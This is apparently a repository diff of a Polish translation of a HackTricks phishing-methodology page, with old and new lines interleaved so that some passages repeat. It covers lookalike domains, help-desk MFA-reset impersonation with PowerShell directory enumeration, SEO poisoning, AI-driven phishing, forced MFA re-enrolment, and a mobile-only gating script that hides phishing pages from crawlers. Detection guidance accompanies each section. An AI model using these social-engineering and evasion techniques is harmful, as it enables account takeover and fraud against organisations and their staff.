Możesz **kupić domenę o bardzo podobnej nazwie** do domeny ofiary **i/lub wygenerować certyfikat** dla **subdomeny** domeny kontrolowanej przez Ciebie **zawierającej** **słowo kluczowe** domeny ofiary. Jeśli **ofiara** wykona jakąkolwiek interakcję **DNS lub HTTP** z nimi, dowiesz się, że **aktywnie szuka** podejrzanych domen i będziesz musiał być bardzo dyskretny.
|
||||
Możesz **kupić domenę o bardzo podobnej nazwie** do domeny ofiary **i/lub wygenerować certyfikat** dla **subdomeny** domeny kontrolowanej przez ciebie **zawierającej** **słowo-klucz** domeny ofiary. Jeśli **ofiara** wykona jakąkolwiek interakcję DNS lub HTTP z nimi, dowiesz się, że **aktywnie szuka** podejrzanych domen i będziesz musiał być bardzo dyskretny.
|
||||
|
||||
### Oceń phishing
|
||||
|
||||
Użyj [**Phishious** ](https://github.com/Rices/Phishious) aby ocenić, czy Twój e-mail trafi do folderu spamu, zostanie zablokowany, czy będzie skuteczny.
|
||||
Użyj [**Phishious** ](https://github.com/Rices/Phishious) aby ocenić, czy twój e-mail trafi do folderu spam lub czy zostanie zablokowany albo okaże się skuteczny.
|
||||
|
||||
## High-Touch Identity Compromise (Help-Desk MFA Reset)
|
||||
|
||||
Nowoczesne zestawy intruzyjne coraz częściej pomijają w ogóle wabiki e‑mailowe i **bezpośrednio celują w workflow service-desk / identity-recovery**, aby obejść MFA. Atak jest w pełni "living-off-the-land": gdy operator uzyska prawidłowe credentials, porusza się używając wbudowanych narzędzi administratorskich – żadne malware nie jest potrzebne.
|
||||
Nowoczesne zestawy intruzyjne coraz częściej pomijają w ogóle wabiki e-mailowe i **bezpośrednio atakują workflow service-desk / identity-recovery**, aby pokonać MFA. Atak jest w pełni „living-off-the-land”: gdy operator zdobędzie prawidłowe poświadczenia, porusza się przy użyciu wbudowanych narzędzi administracyjnych – malware nie jest wymagane.
|
||||
|
||||
### Przebieg ataku
|
||||
1. Rozpoznanie ofiary
|
||||
* Zbieraj dane osobowe i korporacyjne z LinkedIn, wycieków danych, publicznego GitHub itp.
|
||||
* Zidentyfikuj wartościowe tożsamości (kadra zarządzająca, IT, finanse) i wypisz **dokładny proces help-desk** dotyczący resetu hasła / MFA.
|
||||
2. Inżynieria społeczna w czasie rzeczywistym
|
||||
* Zadzwoń, użyj Teams lub czatu do help-desk podszywając się pod cel (często z **sfałszowanym caller-ID** lub **sklonowanym głosem**).
|
||||
* Podaj wcześniej zebrane PII, aby przejść weryfikację opartą na wiedzy.
|
||||
* Przekonaj agenta, aby **zresetował MFA secret** lub przeprowadził **SIM-swap** na zarejestrowanym numerze.
|
||||
3. Natychmiastowe działania po uzyskaniu dostępu (≤60 min w realnych przypadkach)
|
||||
* Ustanów przyczółek przez dowolny portal web SSO.
|
||||
* Enumeruj AD / AzureAD za pomocą wbudowanych narzędzi (bez zapisywania binariów):
|
||||
* Zidentyfikuj wysokowartościowe tożsamości (kadra kierownicza, IT, finanse) i wyewidencjonuj **dokładny proces help-desk** dla resetu hasła / MFA.
|
||||
2. Socjotechnika w czasie rzeczywistym
|
||||
* Dzwonienie, Teams lub czat do help-desku udając cel (często ze **sfałszowanym caller-ID** lub **sklonowanym głosem**).
|
||||
* Podaj wcześniej zebrane PII, aby przejść weryfikację wiedzy.
|
||||
* Przekonaj agenta do **zresetowania sekretu MFA** lub wykonania **SIM-swapu** na zarejestrowany numer telefonu.
|
||||
3. Natychmiastowe działania po uzyskaniu dostępu (≤60 min w rzeczywistych przypadkach)
|
||||
* Ustanów punkt zaczepienia przez dowolne web SSO portal.
|
||||
* Enumeruj AD / AzureAD wbudowanymi narzędziami (bez umieszczania binarek):
|
||||
```powershell
|
||||
# list directory groups & privileged roles
|
||||
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
||||
@ -467,34 +467,34 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
||||
# Enumerate devices the account can login to
|
||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
```
|
||||
* Ruch lateralny za pomocą **WMI**, **PsExec**, lub legalnych agentów **RMM** już białolistowanych w środowisku.
|
||||
* Ruch lateralny z użyciem **WMI**, **PsExec**, lub legalnych agentów **RMM** już białej listy w środowisku.
|
||||
|
||||
### Wykrywanie i łagodzenie
|
||||
* Traktuj odzyskiwanie tożsamości przez help-desk jako **operację uprzywilejowaną** – wymagaj step-up auth i zatwierdzenia przez menedżera.
|
||||
* Wdróż reguły **Identity Threat Detection & Response (ITDR)** / **UEBA**, które alarmują gdy:
|
||||
* Zmiana metody MFA + uwierzytelnienie z nowego urządzenia / regionu.
|
||||
* Traktuj operacje odzyskiwania tożsamości przez help-desk jako **operację uprzywilejowaną** – wymagaj podniesienia uwierzytelnienia i zatwierdzenia przez managera.
|
||||
* Wdroż **Identity Threat Detection & Response (ITDR)** / reguły **UEBA**, które alarmują przy:
|
||||
* Zmiana metody MFA + logowanie z nowego urządzenia / lokalizacji.
|
||||
* Natychmiastowe podniesienie uprawnień tego samego podmiotu (user → admin).
|
||||
* Nagrywaj połączenia do help-desk i wymuszaj **oddzwonienie na już zarejestrowany numer** przed jakimkolwiek resetem.
|
||||
* Wdroż **Just-In-Time (JIT) / Privileged Access**, aby świeżo zresetowane konta **nie** dziedziczyły automatycznie tokenów o wysokich uprawnieniach.
|
||||
* Nagrywaj rozmowy help-desk i wymuszaj **oddzwonienie na już zarejestrowany numer** przed jakimkolwiek resetem.
|
||||
* Wdroż **Just-In-Time (JIT) / Privileged Access**, aby nowo zresetowane konta **nie** odziedziczyły automatycznie tokenów o wysokich uprawnieniach.
|
||||
|
||||
---
|
||||
|
||||
## Dezinformacja na dużą skalę – SEO Poisoning & “ClickFix” Campaigns
|
||||
Zespoły commoditowe równoważą koszty operacji high-touch masowymi atakami, które zamieniają **wyszukiwarki i sieci reklamowe w kanał dostarczenia**.
|
||||
## Dezinformacja na dużą skalę – SEO Poisoning & kampanie „ClickFix”
|
||||
Zespoły korzystające z masowej skali równoważą koszty operacji high-touch masowymi atakami, które zamieniają **search engines & ad networks w kanał dostawy**.
|
||||
|
||||
1. **SEO poisoning / malvertising** wypycha fałszywy wynik taki jak `chromium-update[.]site` na szczyt reklam w wynikach wyszukiwania.
|
||||
2. Ofiara pobiera niewielki **first-stage loader** (często JS/HTA/ISO). Przykłady obserwowane przez Unit 42:
|
||||
1. **SEO poisoning / malvertising** wypycha fałszywy wynik, taki jak `chromium-update[.]site`, na szczyt reklam wyszukiwania.
|
||||
2. Ofiara pobiera mały **first-stage loader** (często JS/HTA/ISO). Przykłady obserwowane przez Unit 42:
|
||||
* `RedLine stealer`
|
||||
* `Lumma stealer`
|
||||
* `Lampion Trojan`
|
||||
3. Loader eksfiltruje cookies przeglądarki + bazy credential DB, potem pobiera **silent loader**, który decyduje – *w czasie rzeczywistym* – czy wdrożyć:
|
||||
3. Loader eksfiltrowuje ciasteczka przeglądarki + credential DBs, potem pobiera **cichy loader**, który decyduje – *w czasie rzeczywistym* – czy wdrożyć:
|
||||
* RAT (np. AsyncRAT, RustDesk)
|
||||
* ransomware / wiper
|
||||
* komponent utrwalający (klucz Run w rejestrze + zadanie harmonogramu)
|
||||
* komponent utrzymania (klucz Run w rejestrze + zadanie zaplanowane)
|
||||
|
||||
### Wskazówki dotyczące utwardzania
|
||||
* Blokuj świeżo zarejestrowane domeny i egzekwuj **Advanced DNS / URL Filtering** na *search-ads* oraz w poczcie.
|
||||
* Ogranicz instalację oprogramowania do podpisanych paczek MSI / Store, zablokuj uruchamianie `HTA`, `ISO`, `VBS` polityką.
|
||||
### Wskazówki dotyczące hardeningu
|
||||
* Blokuj nowo zarejestrowane domeny i egzekwuj **Advanced DNS / URL Filtering** na *search-ads* oraz w e-mailach.
|
||||
* Ogranicz instalację oprogramowania do podpisanych MSI / pakietów ze Store, zabroń wykonywania `HTA`, `ISO`, `VBS` przez politykę.
|
||||
* Monitoruj procesy potomne przeglądarek uruchamiające instalatory:
|
||||
```yaml
|
||||
- parent_image: /Program Files/Google/Chrome/*
|
||||
@ -507,16 +507,16 @@ and child_image: *\\*.exe
|
||||
## Operacje phishingowe wspomagane AI
|
||||
Atakujący teraz łączą **LLM & voice-clone APIs** dla w pełni spersonalizowanych wabików i interakcji w czasie rzeczywistym.
|
||||
|
||||
| Warstwa | Przykładowe użycie przez aktora zagrożenia |
|
||||
| Layer | Example use by threat actor |
|
||||
|-------|-----------------------------|
|
||||
|Automatyzacja|Generuj i wysyłaj >100k e‑maili / SMS z losowo zmienianą treścią i linkami śledzącymi.|
|
||||
|Generative AI|Twórz *jednorazowe* e‑maile odnoszące się do publicznych M&A, wewnętrznych żartów z social media; deep-fake głos CEO w oszustwie callback.|
|
||||
|Agentic AI|Autonomicznie rejestruj domeny, zeskrobuj open-source intel, twórz kolejne maile, gdy ofiara kliknie, ale nie poda creds.|
|
||||
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|
||||
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|
||||
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.|
|
||||
|
||||
**Obrona:**
|
||||
• Dodaj **dynamiczne banery** podkreślające wiadomości wysyłane z niezaufanej automatyzacji (na podstawie anomalii ARC/DKIM).
|
||||
• Wdróż **głosowe frazy biometryczne** dla ryzykownych żądań telefonicznych.
|
||||
• Ciągle symuluj wabiki generowane przez AI w programach świadomościowych – statyczne szablony są przestarzałe.
|
||||
• Dodaj **dynamiczne bannery** podkreślające wiadomości wysyłane z nieufnej automatyzacji (na podstawie anomalii ARC/DKIM).
|
||||
• Wdroż **voice-biometric challenge phrases** dla wysokiego ryzyka żądań telefonicznych.
|
||||
• Ciągle symuluj lury generowane przez AI w programach podnoszących świadomość – statyczne szablony są przestarzałe.
|
||||
|
||||
See also – agentic browsing abuse for credential phishing:
|
||||
|
||||
@ -526,8 +526,8 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
|
||||
|
||||
---
|
||||
|
||||
## MFA Fatigue / Push Bombing Variant – Forced Reset
|
||||
Poza klasycznym push-bombing, operatorzy po prostu **wymuszają nową rejestrację MFA** podczas rozmowy z help-deskiem, unieważniając istniejący token użytkownika. Każdy kolejny monit logowania wygląda dla ofiary jak prawidłowy.
|
||||
## MFA Fatigue / Push Bombing Variant – Wymuszony reset
|
||||
Poza klasycznym push-bombingiem, operatorzy po prostu **wymuszają nową rejestrację MFA** podczas rozmowy z help-deskiem, unieważniając istniejący token użytkownika. Każde kolejne okno logowania wydaje się wtedy ofierze prawidłowe.
|
||||
```text
|
||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||
@ -539,7 +539,7 @@ Monitoruj zdarzenia AzureAD/AWS/Okta, w których **`deleteMFA` + `addMFA`** wyst
|
||||
|
||||
## Clipboard Hijacking / Pastejacking
|
||||
|
||||
Atakujący mogą potajemnie skopiować złośliwe polecenia do schowka ofiary z skompromitowanej lub typosquatted strony internetowej, a następnie nakłonić użytkownika do wklejenia ich w **Win + R**, **Win + X** lub w oknie terminala, co skutkuje wykonaniem dowolnego kodu bez pobierania lub załączników.
|
||||
Atakujący mogą w sposób niewidoczny skopiować złośliwe polecenia do schowka ofiary ze skompromitowanej lub typosquatted strony i następnie nakłonić użytkownika do wklejenia ich w **Win + R**, **Win + X** lub oknie terminala, wykonując dowolny kod bez pobierania czy załączników.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -553,12 +553,40 @@ clipboard-hijacking.md
|
||||
mobile-phishing-malicious-apps.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
### Mobile‑gated phishing to evade crawlers/sandboxes
|
||||
Operatorzy coraz częściej umieszczają swoje phishing flows za prostą kontrolą urządzenia, tak aby desktop crawlers nigdy nie docierały do stron końcowych. Typowym wzorcem jest mały skrypt, który testuje, czy DOM obsługuje dotyk i wysyła wynik do endpointu serwera; klienci nie‑mobilni otrzymują HTTP 500 (lub pustą stronę), podczas gdy użytkownicy mobilni otrzymują pełny flow.
|
||||
|
||||
Minimal client snippet (typical logic):
|
||||
```html
|
||||
<script src="/static/detect_device.js"></script>
|
||||
```
|
||||
`detect_device.js` logika (uproszczona):
|
||||
```javascript
|
||||
const isMobile = ('ontouchstart' in document.documentElement);
|
||||
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
|
||||
.then(()=>location.reload());
|
||||
```
|
||||
Często obserwowane zachowanie serwera:
|
||||
- Ustawia session cookie podczas pierwszego ładowania.
|
||||
- Akceptuje `POST /detect {"is_mobile":true|false}`.
|
||||
- Zwraca 500 (lub placeholder) na kolejnych GET, gdy `is_mobile=false`; serwuje phishing tylko jeśli `true`.
|
||||
|
||||
Heurystyki poszukiwań i wykrywania:
|
||||
- zapytanie urlscan: `filename:"detect_device.js" AND page.status:500`
|
||||
- Telemetria sieciowa: sekwencja `GET /static/detect_device.js` → `POST /detect` → HTTP 500 dla urządzeń nie‑mobilnych; legalne ścieżki ofiary na mobile zwracają 200 z dalszym HTML/JS.
|
||||
- Blokuj lub wnikliwie analizuj strony, które uzależniają treść wyłącznie od `ontouchstart` lub podobnych device checks.
|
||||
|
||||
Wskazówki obronne:
|
||||
- Uruchamiaj crawlers z mobile‑like fingerprintami i włączonym JS, żeby ujawnić ukrytą treść.
|
||||
- Generuj alerty na podejrzane odpowiedzi 500 po `POST /detect` dla nowo zarejestrowanych domen.
|
||||
|
||||
## References
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
||||
- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user